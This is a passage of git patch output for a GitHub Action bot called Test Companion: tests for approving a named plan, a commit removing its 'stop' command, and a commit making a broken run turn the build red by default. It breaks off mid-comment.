spent. */ +const consumed = (id, workflow, sha = SHA) => ({ + id, + user: { type: "Bot", login: US }, + created_at: fresh, + body: `Done.\n${proposalConsumedMarkerFor(sha, workflow)}`, +}) + +describe("go can name the plan it answers", () => { + test("bare go takes the most recent plan still waiting", () => { + const comments = [proposal(1001, "generate"), proposal(1002, "fix")] + assert.equal(findProposal(comments, SHA, now, US)?.id, 1002) + }) + + test("go #id takes the plan that was named, not the newest", () => { + const comments = [proposal(1001, "generate"), proposal(1002, "fix")] + const got = findProposal(comments, SHA, now, US, { id: 1001 }) + assert.equal(got?.id, 1001) + assert.equal(got?.workflow, "generate") + }) + + test("the intent carries the id a reply named", () => { + const got = readIntent("@test-companion go #6580278184", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, "6580278184") + }) + + test("a pasted comment link names a plan just as well", () => { + const got = readIntent("go https://github.com/o/r/pull/1#issuecomment-6580278184", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, "6580278184") + }) + + test("a bare go names nothing, so the newest plan still wins", () => { + const got = readIntent("go", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, undefined) + }) + + test("a pull request number is not a comment id", () => { + // "go #25" is somebody pointing at a pull request, not at a plan. + const got = readIntent("go #25", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, undefined) + }) + + test("naming a plan that is not there finds nothing rather than the newest", () => { + const comments = [proposal(1001, "generate"), proposal(1002, "fix")] + assert.equal(findProposal(comments, SHA, now, US, { id: 9999 }), undefined) + }) + + test("a named plan still has to be ours", () => { + const theirs = { ...proposal(1001, "fix"), user: { type: "User", login: "someone" } } + assert.equal(findProposal([theirs], SHA, now, US, { id: 1001 }), undefined) + }) +}) + +describe("the record of a spent plan knows which job it was", () => { + test("approving one job leaves another job's plan approvable", () => { + // The bug, in one assertion. Both plans are on the same commit. + const comments = [proposal(1001, "generate"), proposal(1002, "fix"), consumed(1003, "fix")] + const got = findProposal(comments, SHA, now, US) + assert.equal(got?.id, 1001, "the generate plan was never approved and must still be waiting") + }) + + test("the approved job's own plan is spent", () => { + const comments = [proposal(1002, "fix"), consumed(1003, "fix")] + assert.equal(findProposal(comments, SHA, now, US), undefined) + }) + + test("dropping one job leaves another alone", () => { + const dropped = { + id: 1003, + user: { type: "Bot", login: US }, + created_at: fresh, + body: proposalDroppedMarkerFor(SHA, "fix"), + } + const comments = [proposal(1001, "generate"), proposal(1002, "fix"), dropped] + assert.equal(findProposal(comments, SHA, now, US)?.id, 1001) + }) + + test("a marker written before jobs were recorded still spends the whole commit", () => { + // Back-compat: an old thread mid-upgrade. Treating it as spending + // nothing would re-run work somebody already approved. + const old = { id: 1003, user: { type: "Bot", login: US }, created_at: fresh, body: proposalConsumedMarkerFor(SHA) } + const comments = [proposal(1001, "generate"), proposal(1002, "fix"), old] + assert.equal(findProposal(comments, SHA, now, US), undefined) + }) + + test("a spent plan on another commit does not count", () => { + const comments = [proposal(1001, "fix"), consumed(1003, "fix", "0000000000000000")] + assert.equal(findProposal(comments, SHA, now, US)?.id, 1001) + }) + + test("proposalAlreadyUsed says which job, when asked about one", () => { + const comments = [consumed(1003, "fix")] + assert.equal(proposalAlreadyUsed(comments, SHA, US, "fix"), "approved") + assert.equal(proposalAlreadyUsed(comments, SHA, US, "generate"), undefined) + }) + + test("the sweep only drops a plan whose own job is still waiting", () => { + const stale = "2026-11-01T11:00:00Z" + const comments = [proposal(1001, "generate", { at: stale }), consumed(1003, "fix")] + assert.equal(proposalNeedsDropping(comments, SHA, now, US), true) + const alsoDropped = [ + ...comments, + { id: 1004, user: { type: "Bot", login: US }, created_at: fresh, body: proposalDroppedMarkerFor(SHA, "generate") }, + ] + assert.equal(proposalNeedsDropping(alsoDropped, SHA, now, US), false) + }) +}) + +describe("the result comment says which plan it carried out", () => { + test("an approved run links the plan it ran", () => { + const body = renderJobSummary({ + workflow: "fix", + outcome: OUTCOMES.SUCCEEDED, + summary: {}, + runUrl: "https://run", + approvedPlan: { id: 1001, url: "https://github.com/o/r/pull/1#issuecomment-1001" }, + }) + assert.match(body, /Plan/) + assert.match(body, /issuecomment-1001/) + }) + + test("a run nobody approved has no plan row", () => { + const body = renderJobSummary({ workflow: "fix", outcome: OUTCOMES.SUCCEEDED, summary: {}, runUrl: "https://run" }) + assert.doesNotMatch(body, /\| Plan \|/) + }) +}) From 69894aac1ff74e52340104e00139702e5f0d2ae6 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 14:30:46 +0530 Subject: [PATCH 31/49] feat: remove `stop` MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit It did two things: cancelled a run in flight, and dropped a plan waiting for approval. Neither survives. GitHub's own Cancel workflow button ends a run, and a plan nobody answers expires by itself after a day with its check resolving alongside it. The word is still recognised and replies with what to use instead, because proposals already in live threads tell people to say it. New proposals no longer offer it. The `-control` concurrency lane STAYS, narrowed to a closed pull request. That is a control event too, and cancelling its run is FR-36 — removing the lane outright would put that cancel back in the queue behind the run it is sent to end. cancelRunsOn, runs.mjs and `actions: write` stay for the same reason; stopRuns and dropProposalAndCheck had no other caller and are gone. 588 tests pass (7 new). STM-5434, demo feedback item 7. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/src/app-auth.mjs | 2 +- test-companion/src/intent.mjs | 15 ++-- test-companion/src/main.mjs | 97 +++++++---------------- test-companion/src/report.mjs | 25 +++++- test-companion/src/runs.mjs | 7 +- test-companion/starter-workflow.yml | 14 ++-- test-companion/test/report.test.mjs | 4 +- test-companion/test/starter.test.mjs | 15 ++-- test-companion/test/stop-removed.test.mjs | 71 +++++++++++++++++ 9 files changed, 155 insertions(+), 95 deletions(-) create mode 100644 test-companion/test/stop-removed.test.mjs diff --git a/test-companion/src/app-auth.mjs b/test-companion/src/app-auth.mjs index e47aca2..da1910f 100644 --- a/test-companion/src/app-auth.mjs +++ b/test-companion/src/app-auth.mjs @@ -73,7 +73,7 @@ export function signJwt({ appId, privateKey, now = Date.now() / 1000 }) { * contents — branches and commits for the fix and reconcile jobs * pull_requests — the one comment, and opening a pull request * checks — the "Test Companion" check - * actions — reading the red run, and cancelling one on "stop" + * actions — reading the red run, and cancelling one when a PR closes * * Returns undefined for a repository we cannot parse. Falling back to an * unscoped request would be the worst possible reading of a value we did not diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index be26a5b..64f53a8 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -21,7 +21,7 @@ export const INTENT = Object.freeze({ /** Run a Test Companion job. `workflow` names it, or is null for "whatever is bound". */ WORKFLOW: "workflow", - /** Cancel the run in flight — FR-35. */ + /** Asked us to stop. Nothing stops any more — item 7 — but the word is still answered. */ STOP: "stop", /** Approve a waiting proposal, which starts the real run — FR-43. */ GO: "go", @@ -50,7 +50,7 @@ const withoutQuotes = (text) => const POLITENESS = /^(?:please\s+|pls\s+|can\s+you\s+|could\s+you\s+|kindly\s+)+/i /** - * Cancel the run in flight — FR-35. Still checked before any job word, so + * Still checked before any job word, so * "stop, don't fix anything" cannot start a fix run. * * ANCHORED, because matching the word anywhere made "don't stop until the @@ -58,6 +58,12 @@ const POLITENESS = /^(?:please\s+|pls\s+|can\s+you\s+|could\s+you\s+|kindly\s+)+ * asking for; the same word later in a sentence is usually about something * else. */ +/** + * STILL RECOGNISED, but it no longer does anything — STM-5434 demo feedback, + * item 7. Proposals already sitting in live threads tell people to say it, and + * answering those with "that did not name anything I can do" would be true and + * useless. main.mjs says what to do instead. + */ const STOP = /^stop\b/i /** @@ -183,8 +189,8 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal const text = withoutQuotes(String(instructions ?? "")).trim() if (!text) return { kind: INTENT.UNKNOWN } - // Before the job words: FR-35 gives stop its own 30-second deadline, and - // "stop, don't fix anything" must not start a fix run. + // Before the job words, so "stop, don't fix anything" cannot start a fix + // run. It no longer stops anything; it answers with what to use instead. const asked = text.replace(POLITENESS, "") if (STOP.test(asked)) return { kind: INTENT.STOP } if (SETUP.test(asked)) return { kind: INTENT.SETUP } @@ -239,5 +245,4 @@ export const CAPABILITIES = Object.freeze([ { ask: "set up this repo", does: "open a pull request adding a settings file" }, { ask: "preview", does: "do the run but write nothing — add it to any request above" }, { ask: "re-check", does: "run it again on the latest commit" }, - { ask: "stop", does: "cancel the run in flight" }, ]) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 8020cce..68a65b4 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -38,6 +38,7 @@ import { accessibilityFailsCheck, renderApprovedPlan, proposalDroppedMarkerFor, + renderStopRemoved, proposalConsumedMarkerFor, proposalAlreadyUsed, proposalNeedsDropping, @@ -423,7 +424,7 @@ function finishSkipped(reason, detail) { "If this workflow has no `pull-requests: read` permission, add it.", "not-authorized": "Only someone with write access to this repository can ask Test Companion for a run.", "unmapped-request": "That comment did not name anything Test Companion can do; it was answered in the thread.", - stopped: "Stopped, as asked.", + stopped: "`stop` is no longer something Test Companion does; the reply says what to use instead.", "not-bound": "That job is not bound to pull request comments in this repository.", "nothing-to-approve": "Nothing is waiting for approval on this commit.", "proposal-not-found": "That reply named a plan that is not waiting on this commit.", @@ -434,12 +435,12 @@ function finishSkipped(reason, detail) { const msg = human ?? `Nothing to do (${reason}).` notice(`Test Companion: ${msg}`) // B1 (review of #3101). The "in progress" check goes up before the CLI - // runs so a later `stop` has something to cancel. Skipping out from under - // it left "Test Companion" pending for ever — and `no-binding` is most - // events, so for most repositories that was most runs. + // runs, so the run is cancellable while it is going. Skipping out from + // under it left "Test Companion" pending for ever — and `no-binding` is + // most events, so for most repositories that was most runs. // - // Completing it here rather than posting the check later keeps `stop` - // working. Nothing deliberately leaves a check pending through this + // Completing it here rather than posting the check later is what keeps + // that true. Nothing deliberately leaves a check pending through this // function: the proposal path posts its own and exits directly. for (const sha of checksMade.keys()) { postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", msg) @@ -613,13 +614,15 @@ async function main() { replyOnPr(plan.context.pr, renderUnknownRequest()) finishSkipped("unmapped-request") } - // Answered before anything starts. Falling through would be the worst - // possible reading of "stop": the person asks for the run to end and a - // new one begins. + // `stop` is gone — STM-5434 demo feedback, item 7. The word is still + // answered, because proposals already in live threads tell people to + // say it; it just says what to do instead and starts nothing. + // + // Still handled BEFORE the job words, for the reason it always was: + // falling through would be the worst possible reading of "stop", where + // the person asks for the run to end and a new one begins. if (intent.kind === INTENT.STOP) { - // The waiting plan's JOB goes with the drop (item 5), or `stop` on - // one job would finish off every other plan on the commit too. - stopRuns(plan, plan.commenter ?? "you", waiting?.workflow) + replyOnPr(plan.context.pr, renderStopRemoved()) finishSkipped("stopped") } if (intent.kind === INTENT.SETUP) { @@ -923,11 +926,11 @@ async function main() { notice(`Nothing will be saved to ${plan.context.branch}: ${saving.why}.`) } - // FR-35: the handle a later `stop` needs. Posted BEFORE the run, because a - // check written at the end cannot help cancel the run that is writing it — - // which is why `stop` found nothing to stop until now. It also makes FR-48's - // "the check shows while it runs" true for every run rather than only a - // proposal. + // The handle anything cancelling this run needs — a pull request closed + // without merging is the one left (FR-36). Posted BEFORE the run, because + // a check written at the end cannot help cancel the run that is writing + // it. It also makes FR-48's "the check shows while it runs" true for every + // run rather than only a proposal. const checkSubject = checkSha(plan.context, {}, env.GITHUB_SHA) if (checkSubject) { postCheck( @@ -1247,7 +1250,7 @@ function postCheck(outcome, view, sha, annotations = [], status = "completed", t name: "Test Companion", head_sha: sha, status, - // Which run this check belongs to. FR-35's `stop` reads it back: the + // Which run this check belongs to. The closed-PR cancel reads it back: the // check is posted on the PULL REQUEST's head commit, which is the one // thing that reliably ties a run to the pull request it is about. external_id: String(env.GITHUB_RUN_ID ?? ""), @@ -1280,17 +1283,18 @@ function rememberCheck(sha, id) { } /** - * End the runs in flight on this commit — FR-35. + * End the runs in flight on this commit — FR-36. * - * The 30-second deadline in FR-35 is why this is a cancel call rather than a - * flag the next run would notice: asking GitHub to cancel is the only thing - * that stops work already underway. + * A cancel call rather than a flag the next run would notice: asking GitHub to + * cancel is the only thing that stops work already underway. The one caller + * left is a pull request closed without merging; `stop` was the other, and it + * was removed (item 7). */ function cancelRunsOn(sha) { // Our own check runs on this commit, NOT `actions/runs?head_sha=`. A run // started by an issue_comment carries the DEFAULT BRANCH's sha, so that - // query matched nothing and neither `stop` nor a closed pull request ever - // cancelled anything (verified live, 2026-10-29). + // query matched nothing and a closed pull request never cancelled anything + // (verified live, 2026-10-29). const checks = gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`]) const fromChecks = runIdsFromChecks(checks?.check_runs, { selfRunId: env.GITHUB_RUN_ID }) // Unioned with the old head_sha query, which is still right for a run whose @@ -1332,51 +1336,6 @@ function cancelForClosedPr(payload) { } } -function stopRuns(plan, who, workflow) { - const sha = plan.context?.sha - const pr = plan.context?.pr - const { found, cancelled, forbidden } = cancelRunsOn(sha) - - if (found === 0) { - replyOnPr(pr, "Nothing of mine is running on this commit, so there was nothing to stop.") - return - } - - // FR-35: without the permission, say which one is missing rather than - // reporting a stop that did not happen. - if (cancelled === 0) { - replyOnPr( - pr, - forbidden - ? "I could not stop that run — this workflow needs `actions: write` to cancel a run." - : "I could not stop that run. It may have finished already.", - ) - return - } - // M5 (review of #3101). The proposal comment says "say **stop** to drop - // it", and stop cancelled runs without dropping anything — so a later `go` - // still ran the plan the person had just stopped. - // - // The check goes with it. Cancelling a run leaves its check in progress, - // and a check that never resolves blocks anyone who made it required. - dropProposalAndCheck(sha, `Stopped by @${who}.`) - replyOnPr(pr, `Stopped by @${who}.\n\n${proposalDroppedMarkerFor(sha, workflow)}`) -} - -/** - * Mark the plan on this commit as spent and finish its check. - * - * Shared by `stop` and the stale-proposal sweep, because leaving either half - * undone is what M5 was about: a dropped plan that a later `go` still runs, - * or a check nobody ever completes. - */ -function dropProposalAndCheck(sha, title) { - if (!sha) return - const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) - if (existing) rememberCheck(sha, existing) - postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", title) -} - /** * Which test framework the checked-out repository uses — FR-13. * diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 6ddabe2..ebb13d4 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -338,6 +338,25 @@ export function renderUnknownRequest() { return [`I could not tell which job that was asking for, so nothing ran. Here is what I can do:`, "", ...lines].join("\n") } +/** + * What to say to somebody who asked us to stop — STM-5434 demo feedback, + * item 7. + * + * `stop` used to cancel the run in flight and drop the waiting plan. Both are + * gone, so this answers both halves: GitHub cancels a run, and a plan nobody + * answers expires by itself. Saying only the first would leave someone + * wondering what became of the plan they were trying to drop. + */ +export function renderStopRemoved() { + return [ + "`stop` is no longer something I do.", + "", + "To end a run that is going, use **Cancel workflow** on the run's own page — GitHub does that more reliably than I could.", + "", + "To get rid of a plan waiting for approval, just leave it. It expires on its own after 24 hours and the check resolves with it.", + ].join("\n") +} + /** FR-44: a proposal nobody answers is dropped after 24 hours. */ export const PROPOSAL_WINDOW_MS = 24 * 60 * 60 * 1000 @@ -395,8 +414,8 @@ const readMarker = (body) => { /** * The commit a check we already posted belongs to — review of #3101, B1. * - * The "in progress" check goes up BEFORE the CLI runs, so a later `stop` has - * something to cancel, and it is posted on the PULL REQUEST's head. Anything + * The "in progress" check goes up BEFORE the CLI runs, so the run can be + * cancelled while it is going, and it is posted on the PULL REQUEST's head. Anything * that finishes the run afterwards has to complete THAT check, on THAT * commit. Reaching for the event's own sha instead is wrong on a comment run, * where GITHUB_SHA is the default branch's commit: the second check lands on @@ -412,7 +431,7 @@ export function renderProposal(body, sha, requester, workflow) { return [ body, "", - "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@test-companion go** with your edits; to drop it, say **stop**.", + "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@test-companion go** with your edits. Leave it and it expires on its own after a day.", "", proposalMarkerFor(sha, requester, workflow), ].join("\n") diff --git a/test-companion/src/runs.mjs b/test-companion/src/runs.mjs index a61462d..26d8945 100644 --- a/test-companion/src/runs.mjs +++ b/test-companion/src/runs.mjs @@ -1,5 +1,8 @@ /** - * Which runs a "stop" should end — STM-5434 FR-35. + * Which runs a closed pull request should end — STM-5434 FR-36. + * + * Written for `stop`, which was removed (item 7). Closing a pull request + * without merging still cancels its run, and that is the same question. * * Pure, and separated from the `gh` calls in main.mjs for the usual reason: the * only other way to exercise it is to start a run, comment on it and watch, and @@ -38,7 +41,7 @@ export function chooseRunsToCancel(runs, { selfRunId, headSha, workflowName } = } /** - * Our in-flight run ids, from the check runs on a commit — FR-35. + * Our in-flight run ids, from the check runs on a commit — FR-36. * * Replaces asking GitHub for `actions/runs?head_sha=`. * That query cannot work for this feature: a run started by an ISSUE_COMMENT diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 4f44edf..9fddeed 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -54,17 +54,15 @@ concurrency: # issue_comment carries the PR number as `issue.number`; everything else # falls back to the run id, which is unique, so those events never share a # group with each other. - # CONTROL EVENTS GET THEIR OWN GROUP. `stop` and a closed pull request - # exist to act on a run that is already going. Sharing the work group with - # it, and queueing rather than cancelling, meant they waited behind the - # very run they were sent to stop and only started once it had finished by - # itself — so `stop` did nothing, slowly. + # A CLOSED PULL REQUEST GETS ITS OWN GROUP. It exists to act on a run that + # is already going. Sharing the work group with that run, and queueing + # rather than cancelling, meant it waited behind the very run it was sent + # to end and only started once that had finished by itself. group: >- test-companion-${{ github.event.pull_request.number || github.event.issue.number || github.run_id }}${{ - (github.event.action == 'closed' - || contains(github.event.comment.body, 'stop')) + github.event.action == 'closed' && '-control' || '' }} # Queue rather than cancel: a run already in flight has spent credits, and # the newer one waits its turn instead of superseding it. Control events @@ -97,7 +95,7 @@ jobs: contents: write # branches and commits for fix / reconcile jobs pull-requests: write # the one comment, and opening a pull request checks: write # the "Test Companion" check - actions: write # reading the red run, and cancelling one on "stop" + actions: write # reading the red run, and cancelling one when a PR closes steps: # v4.4.0. Pinned to a commit because a tag can be repointed by # whoever owns it, and this step runs in YOUR job with YOUR token. diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index c8cb3cd..dff38ec 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -248,7 +248,9 @@ describe("replying when we will not run — FR-33, FR-34", () => { test("a request we cannot place gets the list of what we can do — FR-34", () => { const body = renderUnknownRequest() - for (const phrase of ["test this PR", "explain this failure", "fix the failing tests", "stop"]) { + // `stop` left the list with the capability itself — STM-5434 demo + // feedback, item 7. See stop-removed.test.mjs. + for (const phrase of ["test this PR", "explain this failure", "fix the failing tests", "re-check"]) { assert.ok(body.includes(phrase), `the list should offer "${phrase}"`) } }) diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs index c1f13c9..87c65bc 100644 --- a/test-companion/test/starter.test.mjs +++ b/test-companion/test/starter.test.mjs @@ -227,17 +227,20 @@ describe("the starter workflow points somewhere that exists", () => { /** * Review of PR #3101, blocker B2. * - * `stop` and a closed pull request are CONTROL events: they exist to act on a - * run that is already going. Sharing a concurrency group with that run, with - * `cancel-in-progress: false`, meant they queued behind the very thing they - * were sent to stop and only ran once it had finished on its own. + * A closed pull request is a CONTROL event: it exists to act on a run that is + * already going. Sharing a concurrency group with that run, with + * `cancel-in-progress: false`, meant it queued behind the very thing it was + * sent to end and only ran once that had finished on its own. + * + * `stop` used to be the other one. It was removed with the feature (STM-5434 + * demo feedback, item 7); the lane stays for the closed pull request, which is + * FR-36 and did not go anywhere. See stop-removed.test.mjs. */ describe("control events do not queue behind the run they act on", () => { const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") const group = starter.slice(starter.indexOf("concurrency:"), starter.indexOf("\njobs:")) - test("a stop comment and a closed pull request land in a separate group", () => { - assert.match(group, /contains\(github\.event\.comment\.body, 'stop'\)/) + test("a closed pull request lands in a separate group", () => { assert.match(group, /github\.event\.action == 'closed'/) assert.match(group, /-control/) }) diff --git a/test-companion/test/stop-removed.test.mjs b/test-companion/test/stop-removed.test.mjs new file mode 100644 index 0000000..8d0fb50 --- /dev/null +++ b/test-companion/test/stop-removed.test.mjs @@ -0,0 +1,71 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync } from "node:fs" +import { readIntent, INTENT, CAPABILITIES } from "../src/intent.mjs" +import { renderProposal, renderStopRemoved, renderUnknownRequest } from "../src/report.mjs" + +/** + * `stop` is gone — STM-5434 demo feedback, item 7. + * + * It did two things: cancelled a run in flight, and dropped a plan waiting for + * approval. Neither survives. GitHub's own cancel button ends a run, and a plan + * nobody answers expires by itself after a day. + * + * The WORD is still recognised, because proposals already sitting in live + * threads tell people to say it. Answering those with "that did not name + * anything I can do" would be true and useless. + */ + +describe("stop no longer does anything", () => { + test("the word is still understood", () => { + assert.equal(readIntent("stop").kind, INTENT.STOP) + }) + + test("it is no longer offered as something to ask for", () => { + assert.equal( + CAPABILITIES.some((c) => c.ask === "stop"), + false, + ) + assert.doesNotMatch(renderUnknownRequest(), /\*\*stop\*\*/) + }) + + test("the reply says what to do instead", () => { + const said = renderStopRemoved() + assert.match(said, /cancel/i) + // Both halves of what it used to do, so nobody is left guessing about + // the plan they were trying to drop. + assert.match(said, /24 hours|a day/i) + }) + + test("a proposal no longer tells people to say it", () => { + const body = renderProposal("the plan", "abc123", "dev", "fix") + assert.doesNotMatch(body, /\bstop\b/i) + // What a proposal DOES still say must survive the edit. + assert.match(body, /\bgo\b/) + }) +}) + +describe("the starter workflow keeps the control lane for closed pull requests", () => { + const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") + const group = starter.slice(starter.indexOf("concurrency:"), starter.indexOf("\njobs:")) + + test("a stop comment no longer gets its own lane", () => { + assert.doesNotMatch(group, /comment\.body, 'stop'/) + }) + + /** + * The feedback said the `-control` suffix "exists only so a stop comment + * lands in a separate lane". It does not: a CLOSED pull request is a + * control event too, and cancelling its run is FR-36, which stays. Removing + * the suffix outright would put that cancel back in the queue behind the + * very run it is sent to end — blocker B2, reintroduced. + */ + test("a closed pull request still gets one", () => { + assert.match(group, /github\.event\.action == 'closed'/) + assert.match(group, /-control/) + }) + + test("work runs still queue rather than cancel each other", () => { + assert.match(group, /cancel-in-progress:\s*false/) + }) +}) From 96bf2ae137a5f925687f366f905abe67ed337843 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 14:36:06 +0530 Subject: [PATCH 32/49] feat: a run that BROKE now reddens the build by default MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit It never did unless a repository opted in, so every bad outcome passed silently — not what anyone looking at a green tick would assume. The truthful red check sat beside a green build, and the check is the part people do not look at. The line is drawn at whether the RUN worked, not at whether the tests passed. `fail-on-break` is the new default: red when the run broke, could not start or hit a limit; green when it did its job and the answer was failing tests. `fail` is unchanged for anyone who wants a test result to block the build. A new value rather than a changed meaning — someone who wrote `report` meant "never redden my build" and still gets that. Only a repository that said nothing moves. Anything unrecognised now behaves as the default, reversing the old rule: a typo buying a quieter setting than a fresh install gets is the silent pass being fixed. `off` is undocumented from here — it never did anything `report` did not — and still honoured, so an existing workflow saying it is unaffected. 600 tests pass (12 new). STM-5434, demo feedback item 6. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 10 +- test-companion/src/outcome.mjs | 58 +++++++++--- test-companion/test/build-effect.test.mjs | 107 ++++++++++++++++++++++ test-companion/test/outcome.test.mjs | 16 +++- 4 files changed, 172 insertions(+), 19 deletions(-) create mode 100644 test-companion/test/build-effect.test.mjs diff --git a/test-companion/action.yml b/test-companion/action.yml index 2afe94d..f8b5ad0 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -57,10 +57,14 @@ inputs: required: false build-effect: description: > - Whether a bad outcome reddens THIS step: off, report or fail. The - Test Companion check always reports truthfully regardless. + Whether a bad outcome reddens THIS step. fail-on-break (the default) + reddens it when the run itself did not work — it broke, it could not + start, or it hit a limit — and leaves it green when the run worked + and the tests failed. report never reddens it. fail reddens it on + anything that is not a success, test failures included. The Test + Companion check always reports truthfully regardless. required: false - default: "report" + default: "fail-on-break" github-token: description: > Token used to post the check and the comment. Override only to post as a diff --git a/test-companion/src/outcome.mjs b/test-companion/src/outcome.mjs index cfc00f9..03e5a67 100644 --- a/test-companion/src/outcome.mjs +++ b/test-companion/src/outcome.mjs @@ -128,23 +128,59 @@ export function checkConclusion(outcome) { } } +/** What a repository can ask a bad outcome to do to its build — FR-9. */ +export const BUILD_EFFECTS = Object.freeze({ + /** Never red. The check still reports truthfully. */ + REPORT: "report", + /** Red when the RUN broke. Green when the run worked and the tests did not. */ + FAIL_ON_BREAK: "fail-on-break", + /** Red on anything that is not a success, test failures included. */ + FAIL: "fail", +}) + +/** + * The run itself did not work: it crashed, it never started, or it hit a + * ceiling. Distinct from a test failure, which is a RESULT — the run did its + * job and the answer was no. + */ +const RUN_DID_NOT_WORK = new Set([OUTCOMES.RUN_BROKE, OUTCOMES.COULD_NOT_RUN, OUTCOMES.STOPPED_AT_LIMIT]) + /** * Whether the Action's own step goes red — FR-9. * - * Only ever governs the step. The check above reports truthfully regardless, so - * a repo choosing `report` sees a red check and a green build, deliberately. + * Only ever governs the step. The check reports truthfully regardless, so a + * repository choosing `report` sees a red check and a green build, deliberately. + * + * THE DEFAULT CHANGED (STM-5434 demo feedback, item 6). It used to be `report`, + * so a run that broke passed silently unless somebody had opted in — which is + * not what anyone looking at a green tick would assume. The default is now + * `fail-on-break`: a run that did not work reddens the step, a run that worked + * and found failing tests does not. Making a test RESULT block the build is a + * larger decision than this one, and `fail` is still there for anyone who wants + * it. + * + * Anything unrecognised behaves as the DEFAULT, which reverses the old rule. + * That rule — "a misconfiguration must never redden a build" — made sense while + * `report` was the default. Now that it is not, a typo buying a quieter setting + * than a fresh install gets is exactly the silent pass item 6 is about. A + * misspelling leaves you where you would have been having said nothing. * - * Anything unrecognised — unset, misspelled, a value from a newer config than - * this Action understands — behaves as `report`. Reddening builds is the one - * direction a misconfiguration must not fail in. + * `off` is still honoured as a synonym for `report` and is no longer + * documented: it never did anything `report` did not, and a workflow already + * saying it must not start failing builds because we stopped advertising the + * word. */ export function stepShouldFail(buildEffect, outcome) { - if (buildEffect !== "fail") return false - // A skipped run is not a bad outcome, it is no outcome. Reddening the step - // for it would fail every push in a repository that binds only pull - // requests — which is most of them. - if (outcome === OUTCOMES.SKIPPED) return false - return outcome !== OUTCOMES.SUCCEEDED + // Neither of these is a bad outcome. A skipped run is NO outcome, and + // reddening the step for one would fail every push in a repository that + // binds only pull requests — which is most of them. + if (outcome === OUTCOMES.SUCCEEDED || outcome === OUTCOMES.SKIPPED) return false + const effect = String(buildEffect ?? "") + .trim() + .toLowerCase() + if (effect === BUILD_EFFECTS.REPORT || effect === "off") return false + if (effect === BUILD_EFFECTS.FAIL) return true + return RUN_DID_NOT_WORK.has(outcome) } /** diff --git a/test-companion/test/build-effect.test.mjs b/test-companion/test/build-effect.test.mjs new file mode 100644 index 0000000..674bb4f --- /dev/null +++ b/test-companion/test/build-effect.test.mjs @@ -0,0 +1,107 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync } from "node:fs" +import { OUTCOMES, stepShouldFail, BUILD_EFFECTS } from "../src/outcome.mjs" + +/** + * A run that BROKE should redden the build — STM-5434 demo feedback, item 6. + * + * It never did unless a repository opted in, which meant every bad outcome so + * far passed silently. That is not what anyone looking at a green tick would + * assume. + * + * The line is drawn at whether the RUN worked, not at whether the tests + * passed. A test failure is a result; making it block the build is a much + * bigger decision than this one, and `fail` is still there for anyone who + * wants it. + */ + +/** The run itself did not work. */ +const BROKEN = [OUTCOMES.RUN_BROKE, OUTCOMES.COULD_NOT_RUN, OUTCOMES.STOPPED_AT_LIMIT] + +describe("the default reddens a broken run and nothing else", () => { + test("a run that broke fails the step", () => { + for (const o of BROKEN) { + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, o), true, `${o} left the step green`) + } + }) + + test("tests failing does not", () => { + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, OUTCOMES.TESTS_FAILED), false) + }) + + test("neither does a success, or a run that never happened", () => { + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, OUTCOMES.SUCCEEDED), false) + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, OUTCOMES.SKIPPED), false) + }) + + test("saying nothing means the default", () => { + // The step is what a repository gets without reading the setting, so it + // has to BE the default rather than merely document one. + assert.equal(stepShouldFail(undefined, OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("", OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail(undefined, OUTCOMES.TESTS_FAILED), false) + }) + + /** + * This reverses the old rule, deliberately. + * + * It used to be "anything unrecognised behaves as report", on the reasoning + * that reddening builds is the one direction a misconfiguration must not + * fail in. That reasoning made sense while report WAS the default. Now that + * it is not, a typo buying you a quieter setting than everybody else gets + * is the silent pass item 6 is 